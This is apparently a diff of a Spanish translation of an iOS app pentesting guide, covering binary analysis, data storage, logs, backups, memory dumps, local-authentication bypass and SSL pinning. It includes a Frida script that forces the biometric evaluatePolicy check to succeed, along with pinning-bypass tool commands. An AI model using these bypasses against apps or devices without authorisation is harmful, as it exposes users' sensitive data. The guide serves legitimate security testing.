- **Encrypted Binary**: El binario debe estar encriptado - **Binary Encriptado**: El binario debe estar encriptado
```bash ```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # El cryptid debe ser 1 otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # El cryptid debería ser 1
``` ```
**Identificación de Funciones Sensibles/Inseguras** **Identificación de Funciones Sensibles/Inseguras**
- **Weak Hashing Algorithms** - **Algoritmos de Hashing Débiles**
```bash ```bash
# En el dispositivo iOS # En el dispositivo iOS
@ -82,7 +79,7 @@ grep -iER "_CC_MD5"
grep -iER "_CC_SHA1" grep -iER "_CC_SHA1"
``` ```
- **Insecure Random Functions** - **Funciones Aleatorias Inseguras**
```bash ```bash
# En el dispositivo iOS # En el dispositivo iOS
@ -96,7 +93,7 @@ grep -iER "_srand"
grep -iER "_rand" grep -iER "_rand"
``` ```
- **Insecure Malloc Function** - **Función Malloc Insegura**
```bash ```bash
# En el dispositivo iOS # En el dispositivo iOS
@ -106,7 +103,7 @@ otool -Iv <app> | grep -w "_malloc"
grep -iER "_malloc" grep -iER "_malloc"
``` ```
- **Insecure and Vulnerable Functions** - **Funciones Inseguras y Vulnerables**
```bash ```bash
# En el dispositivo iOS # En el dispositivo iOS
@ -142,7 +139,7 @@ Consulta el análisis dinámico que realiza [**MobSF**](https://github.com/MobSF
### Listing Installed Apps ### Listing Installed Apps
Utiliza el comando `frida-ps -Uai` para determinar el **identificador de paquete** de las aplicaciones instaladas: Usa el comando `frida-ps -Uai` para determinar el **identificador del paquete** de las aplicaciones instaladas:
```bash ```bash
$ frida-ps -Uai $ frida-ps -Uai
PID Name Identifier PID Name Identifier
@ -175,7 +172,7 @@ La estructura de un **archivo IPA** es esencialmente la de un **paquete comprimi
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o paquete. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o paquete.
- **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idioma que contienen recursos para esos idiomas específicos, y un recurso predeterminado en caso de que un idioma no esté soportado. - **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idioma que contienen recursos para esos idiomas específicos, y un recurso predeterminado en caso de que un idioma no esté soportado.
- **Seguridad**: El directorio `_CodeSignature/` juega un papel crítico en la seguridad de la aplicación al verificar la integridad de todos los archivos empaquetados a través de firmas digitales. - **Seguridad**: El directorio `_CodeSignature/` juega un papel crítico en la seguridad de la aplicación al verificar la integridad de todos los archivos empaquetados a través de firmas digitales.
- **Gestión de Activos**: El archivo `Assets.car` utiliza compresión para gestionar de manera eficiente los activos gráficos, crucial para optimizar el rendimiento de la aplicación y reducir su tamaño total. - **Gestión de Activos**: El archivo `Assets.car` utiliza compresión para gestionar eficientemente los activos gráficos, crucial para optimizar el rendimiento de la aplicación y reducir su tamaño total.
- **Frameworks y PlugIns**: Estos directorios subrayan la modularidad de las aplicaciones iOS, permitiendo a los desarrolladores incluir bibliotecas de código reutilizables (`Frameworks/`) y extender la funcionalidad de la aplicación (`PlugIns/`). - **Frameworks y PlugIns**: Estos directorios subrayan la modularidad de las aplicaciones iOS, permitiendo a los desarrolladores incluir bibliotecas de código reutilizables (`Frameworks/`) y extender la funcionalidad de la aplicación (`PlugIns/`).
- **Localización**: La estructura soporta múltiples idiomas, facilitando el alcance global de la aplicación al incluir recursos para paquetes de idiomas específicos. - **Localización**: La estructura soporta múltiples idiomas, facilitando el alcance global de la aplicación al incluir recursos para paquetes de idiomas específicos.
@ -194,7 +191,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils $ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist $ plistutil -i Info.plist -o Info_xml.plist
``` ```
Entre la miríada de información que el archivo **Info.plist** puede revelar, las entradas notables incluyen cadenas de permisos de la aplicación (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`), y configuraciones para la seguridad del transporte de aplicaciones (`NSAppTransportSecurity`). Estas entradas, junto con otras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), pueden ser localizadas fácilmente inspeccionando el archivo o empleando un simple comando `grep`: Entre la miríada de información que el archivo **Info.plist** puede revelar, las entradas notables incluyen cadenas de permisos de la aplicación (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`), y configuraciones para la seguridad del transporte de aplicaciones (`NSAppTransportSecurity`). Estas entradas, junto con otras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), se pueden localizar fácilmente inspeccionando el archivo o empleando un simple comando `grep`:
```bash ```bash
$ grep -i <keyword> Info.plist $ grep -i <keyword> Info.plist
``` ```
@ -205,7 +202,7 @@ En el entorno de iOS, los directorios están designados específicamente para **
> [!WARNING] > [!WARNING]
> Dado que las aplicaciones en iOS deben estar en un entorno aislado, cada aplicación también tendrá una carpeta dentro de **`$HOME/Library/Containers`** con el **`CFBundleIdentifier`** de la aplicación como nombre de la carpeta. > Dado que las aplicaciones en iOS deben estar en un entorno aislado, cada aplicación también tendrá una carpeta dentro de **`$HOME/Library/Containers`** con el **`CFBundleIdentifier`** de la aplicación como nombre de la carpeta.
> >
> Sin embargo, ambas carpetas (carpetas de datos y de contenedores) tienen el archivo **`.com.apple.mobile_container_manager.metadata.plist`** que vincula ambos archivos en la clave `MCMetadataIdentifier`). > Sin embargo, ambas carpetas (carpetas de datos y de contenedor) tienen el archivo **`.com.apple.mobile_container_manager.metadata.plist`** que vincula ambos archivos en la clave `MCMetadataIdentifier`).
Para facilitar el descubrimiento del directorio de instalación de una aplicación instalada por el usuario, la **herramienta objection** proporciona un comando útil, `env`. Este comando revela información detallada del directorio para la aplicación en cuestión. A continuación se muestra un ejemplo de cómo usar este comando: Para facilitar el descubrimiento del directorio de instalación de una aplicación instalada por el usuario, la **herramienta objection** proporciona un comando útil, `env`. Este comando revela información detallada del directorio para la aplicación en cuestión. A continuación se muestra un ejemplo de cómo usar este comando:
```bash ```bash
@ -266,7 +263,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- El contenido en este directorio no se respalda. - El contenido en este directorio no se respalda.
- El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no está en ejecución y el espacio de almacenamiento es bajo. - El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no está en ejecución y el espacio de almacenamiento es bajo.
Veamos más de cerca el paquete de la aplicación iGoat-Swift (.app) dentro del directorio del paquete (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): Veamos más de cerca el paquete de la aplicación de iGoat-Swift (.app) dentro del directorio del paquete (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash ```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name NSFileType Perms NSFileProtection ... Name
@ -360,14 +357,6 @@ double _field2;
``` ```
Sin embargo, las mejores opciones para desensamblar el binario son: [**Hopper**](https://www.hopperapp.com/download.html?) y [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). Sin embargo, las mejores opciones para desensamblar el binario son: [**Hopper**](https://www.hopperapp.com/download.html?) y [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Almacenamiento de Datos ## Almacenamiento de Datos
Para aprender sobre cómo iOS almacena datos en el dispositivo, lee esta página: Para aprender sobre cómo iOS almacena datos en el dispositivo, lee esta página:
@ -386,7 +375,7 @@ Los archivos **plist** son archivos XML estructurados que **contienen pares clav
La forma más común de persistir datos en archivos plist es a través del uso de **NSUserDefaults**. Este archivo plist se guarda dentro del sandbox de la aplicación en **`Library/Preferences/<appBundleID>.plist`** La forma más común de persistir datos en archivos plist es a través del uso de **NSUserDefaults**. Este archivo plist se guarda dentro del sandbox de la aplicación en **`Library/Preferences/<appBundleID>.plist`**
La clase [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) proporciona una interfaz programática para interactuar con el sistema predeterminado. El sistema predeterminado permite que una aplicación personalice su comportamiento de acuerdo con las **preferencias del usuario**. Los datos guardados por `NSUserDefaults` pueden ser vistos en el paquete de la aplicación. Esta clase almacena **datos** en un **archivo plist**, pero está destinada a ser utilizada con pequeñas cantidades de datos. La clase [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) proporciona una interfaz programática para interactuar con el sistema predeterminado. El sistema predeterminado permite que una aplicación personalice su comportamiento de acuerdo con **las preferencias del usuario**. Los datos guardados por `NSUserDefaults` pueden ser vistos en el paquete de la aplicación. Esta clase almacena **datos** en un **archivo plist**, pero está destinada a ser utilizada con pequeñas cantidades de datos.
Estos datos no pueden ser accedidos directamente a través de una computadora de confianza, pero pueden ser accedidos realizando una **copia de seguridad**. Estos datos no pueden ser accedidos directamente a través de una computadora de confianza, pero pueden ser accedidos realizando una **copia de seguridad**.
@ -402,7 +391,7 @@ Para convertir archivos de **XML o binario (bplist)** a XML, hay varios métodos
```bash ```bash
$ plutil -convert xml1 Info.plist $ plutil -convert xml1 Info.plist
``` ```
**Para usuarios de Linux:** Instale `libplist-utils` primero, luego use `plistutil` para convertir su archivo: **Para usuarios de Linux:** Instala `libplist-utils` primero, luego usa `plistutil` para convertir tu archivo:
```bash ```bash
$ apt install libplist-utils $ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist $ plistutil -i Info.plist -o Info_xml.plist
@ -535,13 +524,13 @@ Este método eliminará todas las solicitudes y respuestas en caché del archivo
`Un objeto de configuración de sesión efímera es similar a una configuración de sesión predeterminada (ver predeterminado), excepto que el objeto de sesión correspondiente no almacena cachés, almacenes de credenciales ni ningún dato relacionado con la sesión en el disco. En su lugar, los datos relacionados con la sesión se almacenan en RAM. La única vez que una sesión efímera escribe datos en el disco es cuando le indicas que escriba el contenido de una URL en un archivo.` `Un objeto de configuración de sesión efímera es similar a una configuración de sesión predeterminada (ver predeterminado), excepto que el objeto de sesión correspondiente no almacena cachés, almacenes de credenciales ni ningún dato relacionado con la sesión en el disco. En su lugar, los datos relacionados con la sesión se almacenan en RAM. La única vez que una sesión efímera escribe datos en el disco es cuando le indicas que escriba el contenido de una URL en un archivo.`
3. La caché también se puede deshabilitar configurando la política de caché a [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Esto deshabilitará el almacenamiento de caché de cualquier manera, ya sea en memoria o en disco. 3. La caché también se puede deshabilitar configurando la Política de Caché a [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Esto deshabilitará el almacenamiento de la caché de cualquier manera, ya sea en memoria o en disco.
### Capturas de pantalla ### Capturas de pantalla
Cada vez que presionas el botón de inicio, iOS **toma una captura de pantalla de la pantalla actual** para poder hacer la transición a la aplicación de una manera mucho más fluida. Sin embargo, si hay **datos sensibles** presentes en la pantalla actual, se **guardarán** en la **imagen** (que **persiste** **a través de** **reinicios**). Estas son las capturas de pantalla a las que también puedes acceder tocando dos veces la pantalla de inicio para cambiar entre aplicaciones. Cada vez que presionas el botón de inicio, iOS **toma una captura de pantalla de la pantalla actual** para poder hacer la transición a la aplicación de una manera mucho más fluida. Sin embargo, si hay **datos sensibles** presentes en la pantalla actual, se **guardarán** en la **imagen** (que **persiste** **a través de** **reinicios**). Estas son las capturas de pantalla a las que también puedes acceder tocando dos veces la pantalla de inicio para cambiar entre aplicaciones.
A menos que el iPhone esté jailbroken, el **atacante** necesita tener **acceso** al **dispositivo** **desbloqueado** para ver estas capturas de pantalla. Por defecto, la última captura de pantalla se almacena en el sandbox de la aplicación en la carpeta `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (los ordenadores de confianza no pueden acceder al sistema de archivos desde iOS 7.0). A menos que el iPhone esté jailbreakeado, el **atacante** necesita tener **acceso** al **dispositivo** **desbloqueado** para ver estas capturas de pantalla. Por defecto, la última captura de pantalla se almacena en el sandbox de la aplicación en la carpeta `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (los ordenadores de confianza no pueden acceder al sistema de archivos desde iOS 7.0).
Una forma de prevenir este mal comportamiento es poner una pantalla en blanco o eliminar los datos sensibles antes de tomar la captura de pantalla utilizando la función `ApplicationDidEnterBackground()`. Una forma de prevenir este mal comportamiento es poner una pantalla en blanco o eliminar los datos sensibles antes de tomar la captura de pantalla utilizando la función `ApplicationDidEnterBackground()`.
@ -577,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview]; [self.backgroundImage removeFromSuperview];
} }
``` ```
Esto establece la imagen de fondo en `overlayImage.png` cada vez que la aplicación se envía al fondo. Previene filtraciones de datos sensibles porque `overlayImage.png` siempre sobrescribirá la vista actual. Esto establece la imagen de fondo a `overlayImage.png` cada vez que la aplicación se envía al fondo. Previene filtraciones de datos sensibles porque `overlayImage.png` siempre sobrescribirá la vista actual.
### Keychain ### Keychain
@ -600,7 +589,7 @@ Con iOS 8.0 en adelante, los usuarios pueden instalar extensiones de teclado per
**Recomendaciones de Seguridad:** **Recomendaciones de Seguridad:**
- Se aconseja deshabilitar teclados de terceros para mejorar la seguridad. - Se aconseja deshabilitar teclados de terceros para mejorar la seguridad.
- Tenga en cuenta las funciones de autocorrección y autocompletar del teclado predeterminado de iOS, que podrían almacenar información sensible en archivos de caché ubicados en `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Estos archivos de caché deben ser revisados regularmente en busca de datos sensibles. Se recomienda restablecer el diccionario del teclado a través de **Configuración > General > Restablecer > Restablecer Diccionario del Teclado** para borrar datos en caché. - Tenga en cuenta las funciones de autocorrección y autocompletado del teclado predeterminado de iOS, que podrían almacenar información sensible en archivos de caché ubicados en `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Estos archivos de caché deben ser revisados regularmente en busca de datos sensibles. Se recomienda restablecer el diccionario del teclado a través de **Configuración > General > Restablecer > Restablecer Diccionario del Teclado** para borrar datos en caché.
- Interceptar el tráfico de red puede revelar si un teclado personalizado está transmitiendo pulsaciones de teclas de forma remota. - Interceptar el tráfico de red puede revelar si un teclado personalizado está transmitiendo pulsaciones de teclas de forma remota.
### **Prevención de Caché en Campos de Texto** ### **Prevención de Caché en Campos de Texto**
@ -621,7 +610,7 @@ La depuración de código a menudo implica el uso de **registros**. Existe un ri
A pesar de estas restricciones, un **atacante con acceso físico** a un dispositivo desbloqueado aún puede explotar esto conectando el dispositivo a una computadora y **leyendo los registros**. Es importante tener en cuenta que los registros permanecen en el disco incluso después de la desinstalación de la aplicación. A pesar de estas restricciones, un **atacante con acceso físico** a un dispositivo desbloqueado aún puede explotar esto conectando el dispositivo a una computadora y **leyendo los registros**. Es importante tener en cuenta que los registros permanecen en el disco incluso después de la desinstalación de la aplicación.
Para mitigar riesgos, se aconseja **interactuar a fondo con la aplicación**, explorando todas sus funcionalidades e inputs para asegurarse de que no se esté registrando información sensible de manera inadvertida. Para mitigar riesgos, se aconseja **interactuar a fondo con la aplicación**, explorando todas sus funcionalidades e inputs para asegurarse de que no se esté registrando inadvertidamente información sensible.
Al revisar el código fuente de la aplicación en busca de posibles filtraciones, busque tanto **declaraciones de registro** **predefinidas** como **personalizadas** utilizando palabras clave como `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` para funciones integradas, y cualquier mención de `Logging` o `Logfile` para implementaciones personalizadas. Al revisar el código fuente de la aplicación en busca de posibles filtraciones, busque tanto **declaraciones de registro** **predefinidas** como **personalizadas** utilizando palabras clave como `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` para funciones integradas, y cualquier mención de `Logging` o `Logfile` para implementaciones personalizadas.
@ -647,23 +636,13 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
``` ```
Seguido de comandos para observar actividades de registro, que pueden ser invaluables para diagnosticar problemas o identificar posibles filtraciones de datos en los registros. Seguido de comandos para observar actividades de registro, que pueden ser invaluables para diagnosticar problemas o identificar posibles filtraciones de datos en los registros.
---
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Copias de seguridad ## Copias de seguridad
Las **funciones de copia de seguridad automática** están integradas en iOS, facilitando la creación de copias de datos del dispositivo a través de iTunes (hasta macOS Catalina), Finder (desde macOS Catalina en adelante) o iCloud. Estas copias de seguridad abarcan casi todos los datos del dispositivo, excluyendo elementos altamente sensibles como los detalles de Apple Pay y las configuraciones de Touch ID. Las **funciones de copia de seguridad automática** están integradas en iOS, facilitando la creación de copias de datos del dispositivo a través de iTunes (hasta macOS Catalina), Finder (desde macOS Catalina en adelante) o iCloud. Estas copias de seguridad abarcan casi todos los datos del dispositivo, excluyendo elementos altamente sensibles como los detalles de Apple Pay y las configuraciones de Touch ID.
### Riesgos de seguridad ### Riesgos de seguridad
La inclusión de **aplicaciones instaladas y sus datos** en las copias de seguridad plantea el problema de la posible **filtración de datos** y el riesgo de que **las modificaciones en las copias de seguridad puedan alterar la funcionalidad de la aplicación**. Se aconseja **no almacenar información sensible en texto plano** dentro del directorio de cualquier aplicación o sus subdirectorios para mitigar estos riesgos. La inclusión de **aplicaciones instaladas y sus datos** en las copias de seguridad plantea el problema de la **filtración de datos** potencial y el riesgo de que **las modificaciones de la copia de seguridad puedan alterar la funcionalidad de la aplicación**. Se aconseja **no almacenar información sensible en texto plano** dentro del directorio de cualquier aplicación o sus subdirectorios para mitigar estos riesgos.
### Exclusión de archivos de las copias de seguridad ### Exclusión de archivos de las copias de seguridad
@ -671,9 +650,9 @@ Los archivos en `Documents/` y `Library/Application Support/` se respaldan por d
### Pruebas de vulnerabilidades ### Pruebas de vulnerabilidades
Para evaluar la seguridad de la copia de seguridad de una aplicación, comienza por **crear una copia de seguridad** usando Finder, luego localízala utilizando la guía de [la documentación oficial de Apple](https://support.apple.com/en-us/HT204215). Analiza la copia de seguridad en busca de datos sensibles o configuraciones que podrían ser alteradas para afectar el comportamiento de la aplicación. Para evaluar la seguridad de la copia de seguridad de una aplicación, comience por **crear una copia de seguridad** usando Finder, luego localícela utilizando la guía de [la documentación oficial de Apple](https://support.apple.com/en-us/HT204215). Analice la copia de seguridad en busca de datos sensibles o configuraciones que podrían ser alteradas para afectar el comportamiento de la aplicación.
Se puede buscar información sensible utilizando herramientas de línea de comandos o aplicaciones como [iMazing](https://imazing.com). Para copias de seguridad encriptadas, se puede confirmar la presencia de encriptación verificando la clave "IsEncrypted" en el archivo "Manifest.plist" en la raíz de la copia de seguridad. Se puede buscar información sensible utilizando herramientas de línea de comandos o aplicaciones como [iMazing](https://imazing.com). Para copias de seguridad cifradas, la presencia de cifrado se puede confirmar verificando la clave "IsEncrypted" en el archivo "Manifest.plist" en la raíz de la copia de seguridad.
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -698,7 +677,7 @@ Al tratar con información sensible almacenada en la memoria de una aplicación,
## **Recuperando y Analizando un Volcado de Memoria** ## **Recuperando y Analizando un Volcado de Memoria**
Para dispositivos con jailbreak y sin jailbreak, herramientas como [objection](https://github.com/sensepost/objection) y [Fridump](https://github.com/Nightbringer21/fridump) permiten el volcado de la memoria del proceso de una aplicación. Una vez volcada, analizar estos datos requiere varias herramientas, dependiendo de la naturaleza de la información que estás buscando. Para dispositivos con jailbreak y sin jailbreak, herramientas como [objection](https://github.com/sensepost/objection) y [Fridump](https://github.com/Nightbringer21/fridump) permiten el volcado de la memoria del proceso de una aplicación. Una vez volcado, analizar estos datos requiere varias herramientas, dependiendo de la naturaleza de la información que estás buscando.
Para extraer cadenas de un volcado de memoria, se pueden usar comandos como `strings` o `rabin2 -zz`: Para extraer cadenas de un volcado de memoria, se pueden usar comandos como `strings` o `rabin2 -zz`:
```bash ```bash
@ -745,7 +724,7 @@ Para **más información** sobre las APIs y bibliotecas criptográficas de iOS,
La **autenticación local** juega un papel crucial, especialmente cuando se trata de salvaguardar el acceso en un punto final remoto a través de métodos criptográficos. La esencia aquí es que, sin una implementación adecuada, los mecanismos de autenticación local pueden ser eludidos. La **autenticación local** juega un papel crucial, especialmente cuando se trata de salvaguardar el acceso en un punto final remoto a través de métodos criptográficos. La esencia aquí es que, sin una implementación adecuada, los mecanismos de autenticación local pueden ser eludidos.
El [**framework de Autenticación Local**](https://developer.apple.com/documentation/localauthentication) de Apple y el [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) proporcionan APIs robustas para que los desarrolladores faciliten diálogos de autenticación de usuarios y manejen datos secretos de manera segura, respectivamente. El Secure Enclave asegura la identificación por huella digital para Touch ID, mientras que Face ID se basa en el reconocimiento facial sin comprometer los datos biométricos. El [**framework de Autenticación Local**](https://developer.apple.com/documentation/localauthentication) de Apple y el [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) proporcionan APIs robustas para que los desarrolladores faciliten diálogos de autenticación de usuarios y manejen datos secretos de manera segura, respectivamente. El Secure Enclave asegura la identificación por huella dactilar para Touch ID, mientras que Face ID se basa en el reconocimiento facial sin comprometer los datos biométricos.
Para integrar Touch ID/Face ID, los desarrolladores tienen dos opciones de API: Para integrar Touch ID/Face ID, los desarrolladores tienen dos opciones de API:
@ -901,7 +880,7 @@ El uso de frameworks en una aplicación también se puede detectar analizando la
```bash ```bash
$ otool -L <AppName>.app/<AppName> $ otool -L <AppName>.app/<AppName>
``` ```
Si se utiliza `LocalAuthentication.framework` en una aplicación, la salida contendrá ambas líneas siguientes (recuerde que `LocalAuthentication.framework` utiliza `Security.framework` en segundo plano): Si se utiliza `LocalAuthentication.framework` en una aplicación, la salida contendrá ambas líneas siguientes (recuerda que `LocalAuthentication.framework` utiliza `Security.framework` en segundo plano):
```bash ```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security /System/Library/Frameworks/Security.framework/Security
@ -955,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
} }
} }
``` ```
Para lograr el **bypass** de la Autenticación Local, se escribe un script de Frida. Este script apunta a la verificación **evaluatePolicy**, interceptando su callback para asegurarse de que devuelva **success=1**. Al alterar el comportamiento del callback, la verificación de autenticación se elude efectivamente. Para lograr el **bypass** de la Autenticación Local, se escribe un script de Frida. Este script apunta a la verificación de **evaluatePolicy**, interceptando su callback para asegurarse de que devuelva **success=1**. Al alterar el comportamiento del callback, la verificación de autenticación se elude efectivamente.
El script a continuación se inyecta para modificar el resultado del método **evaluatePolicy**. Cambia el resultado del callback para indicar siempre éxito. El script a continuación se inyecta para modificar el resultado del método **evaluatePolicy**. Cambia el resultado del callback para indicar siempre éxito.
```swift ```swift
@ -1009,7 +988,7 @@ ios-uiactivity-sharing.md
ios-uipasteboard.md ios-uipasteboard.md
{{#endref}} {{#endref}}
### Extensiones de Aplicaciones ### Extensiones de Aplicación
{{#ref}} {{#ref}}
ios-app-extensions.md ios-app-extensions.md
@ -1041,14 +1020,14 @@ burp-configuration-for-ios.md
Un problema común al validar el certificado TLS es verificar que el certificado fue firmado por una **CA** **confiable**, pero **no verificar** si **el nombre de host** del certificado es el nombre de host que se está accediendo.\ Un problema común al validar el certificado TLS es verificar que el certificado fue firmado por una **CA** **confiable**, pero **no verificar** si **el nombre de host** del certificado es el nombre de host que se está accediendo.\
Para verificar este problema usando Burp, después de confiar en la CA de Burp en el iPhone, puedes **crear un nuevo certificado con Burp para un nombre de host diferente** y usarlo. Si la aplicación sigue funcionando, entonces, algo es vulnerable. Para verificar este problema usando Burp, después de confiar en la CA de Burp en el iPhone, puedes **crear un nuevo certificado con Burp para un nombre de host diferente** y usarlo. Si la aplicación sigue funcionando, entonces, algo es vulnerable.
### Fijación de Certificados ### Fijación de Certificado
Si una aplicación está utilizando correctamente la Fijación de SSL, entonces la aplicación solo funcionará si el certificado es el que se espera. Al probar una aplicación, **esto podría ser un problema ya que Burp servirá su propio certificado.**\ Si una aplicación está utilizando correctamente la Fijación de SSL, entonces la aplicación solo funcionará si el certificado es el que se espera. Al probar una aplicación, **esto podría ser un problema ya que Burp servirá su propio certificado.**\
Para eludir esta protección en un dispositivo con jailbreak, puedes instalar la aplicación [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) Para eludir esta protección en un dispositivo con jailbreak, puedes instalar la aplicación [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
También puedes usar **objection's** `ios sslpinning disable` También puedes usar **objection's** `ios sslpinning disable`
## Miscelánea ## Varios
- En **`/System/Library`** puedes encontrar los frameworks instalados en el teléfono utilizados por aplicaciones del sistema. - En **`/System/Library`** puedes encontrar los frameworks instalados en el teléfono utilizados por aplicaciones del sistema.
- Las aplicaciones instaladas por el usuario desde la App Store se encuentran dentro de **`/User/Applications`**. - Las aplicaciones instaladas por el usuario desde la App Store se encuentran dentro de **`/User/Applications`**.
@ -1095,7 +1074,7 @@ otool -L <application_path>
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc) - [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) curso gratuito de IOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) - [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) curso gratuito de IOS([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) - [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) - [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) - [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
@ -1105,11 +1084,5 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
